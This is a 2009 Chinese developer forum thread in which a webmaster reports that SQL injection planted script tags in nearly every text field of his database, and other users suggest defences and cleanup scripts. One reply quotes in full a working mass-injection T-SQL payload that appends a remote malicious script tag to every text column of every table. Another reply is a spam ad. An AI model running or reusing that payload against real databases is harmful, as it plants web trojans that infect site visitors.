数据库几乎所有的表都被注入

ganzhongliang 2009-06-16 02:44:08

今天早上刚到公司,编辑就告诉我网站首页全乱了,问我是不是程序都的字符读多了,给网站撑变形了。
这一段时间就没有动程序,仔细看一下页面,图片不显示了,图片地址里面有script脚本块,我一查找html源文件
这样的脚本块不计其数,完了,数据库!

等我打开发现几乎所有的表 的字符型字段 都被注入了这样的块
头都大了,只好用了一个上午的时间用replace函数将n个表的n个字段 的脚本块去掉

痛定思痛,我去网上找了一下关于sql注入的方面的资料看一下,网上说sql注入是通过表单注入的
但是我的数据库中绝大多数表是都是由管理员在后台操作,前台只是显示。除非他知道我的后台登陆密码
才能注入啊,我觉得这种可能性很小啊,哪他是怎么把数据写到我的数据库的呢

我今天替换了,他还有可能卷土重来啊,我改怎么防止他再次注入呢,请高人指点迷津!!
...全文
108 58 打赏 收藏 转发到动态 举报
写回复
用AI写文章
58 条回复
切换为时间正序
请发表友善的回复…
发表回复
xuyiazl 2009-07-01
  • 打赏
  • 举报
回复
杀毒软件公司,一般都做木马病毒...
cs78799662 2009-06-29
  • 打赏
  • 举报
回复
呵呵
消息真够灵通的
ganzhongliang 2009-06-29
  • 打赏
  • 举报
回复
今天声称是北京的某网站安全公司给我们打电话问我的网站是不是被注入了,
然后想给我做网站安全。。。觉得有点不对劲,他们怎么知道我的网站被注入了?难道是他干的?
iloveyoubaby 2009-06-29
  • 打赏
  • 举报
回复
惨!!!
我一般都将查询,修改、插入数据库的操作通过存储过程来执行,网页上能输入的表单,一般限制长度和用正则表达式进行限制
chenyunkun2008 2009-06-29
  • 打赏
  • 举报
回复
顶,mark
qq249529304 2009-06-29
  • 打赏
  • 举报
回复
有过同样的经历。。我没找到办法.....除非重新改程序用存储过程。哎。。“坏人”真多。。
winner2050 2009-06-29
  • 打赏
  • 举报
回复
[Quote=引用 49 楼 ganzhongliang 的回复:]
今天声称是北京的某网站安全公司给我们打电话问我的网站是不是被注入了,
然后想给我做网站安全。。。觉得有点不对劲,他们怎么知道我的网站被注入了?难道是他干的?
[/Quote]

在搜索引擎上面搜一下就知道了。

被加装web木马的网页有特别的关键字的。
welcomechenqi 2009-06-29
  • 打赏
  • 举报
回复
[Quote=引用 27 楼 newdigitime 的回复:]
楼主所说的 前台只有数据库显示,没有写入操作,这种想法是不对的.

有人可以通过url或表单输入特殊字符串,让你的读数据库变成写数据库.

除了用存储或SQL参数化语句,以及对表单或URL参数进行检测与过滤外,

还需要注意有没有上传漏洞.

如果有人提交javascript代码,进行跨站攻击,有可能使 编辑或网管的重要资料外泄.

此外,如果只注意程序的问题,而忽视服务器本身的安全配置,那也是很不可靠的.
[/Quote]

学习。。。
welcomechenqi 2009-06-29
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 aigoo 的回复:]
C# code
public static string NoHTML(string Htmlstring)
{

//删除脚本

Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase);

//删除HTML

Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase);

Htmlstring = Regex.Replace(Htmlstring, @"([rn…
[/Quote]

不好意思,刚没看到这个贴~
welcomechenqi 2009-06-29
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 aigoo 的回复:]
先用这个替换你的数据库中的内容script

C# code
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='替换内容'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch…
[/Quote]

学习

那应该怎么防止呢?
rcs877cs 2009-06-26
  • 打赏
  • 举报
回复
恭喜啊。。。heheh

谁让你不用变量的。。。偷懒。。

看来你对注入漏洞不多认识啊。。。前台只显示一样可以注入的
wlm1314 2009-06-26
  • 打赏
  • 举报
回复
上传附件也要注意
xyzvalue 2009-06-24
  • 打赏
  • 举报
回复
[Quote=引用 45 楼 winner2050 的回复:]
不是注入的。

是中了其他的招数了。

你看看sql代码

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'…
[/Quote]


就是你干的,你还在那乐
winner2050 2009-06-24
  • 打赏
  • 举报
回复
不是注入的。

是中了其他的招数了。

你看看sql代码

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://网址/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

z执行这个就可以把所有的文本型的字段都加入,web木马。
happy_gaoxing 2009-06-24
  • 打赏
  • 举报
回复
参数
liulule 2009-06-24
  • 打赏
  • 举报
回复
幸好我喜欢用存储过程!!
qq196260188 2009-06-24
  • 打赏
  • 举报
回复
加个防注入吧,,
cheng_feng001 2009-06-24
  • 打赏
  • 举报
回复
分析IIS日志比较有用,就是工作量有点大。我曾经就是分析了几个小时,终于找到原因,别人在我网站上挂马了!
zorou_fatal 2009-06-24
  • 打赏
  • 举报
回复
你的数据层是虾米?
heyisheng 2009-06-24
  • 打赏
  • 举报
回复
这种问题很严重,一般都是网站存在漏洞或者服务器存在漏洞而被攻击了,若需要安全技术服务请联系EMAIL & MSN:yisheng@hotmail.com, 7X24 为您的网站和服务器保驾护航。
加载更多回复(38)

62,072

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧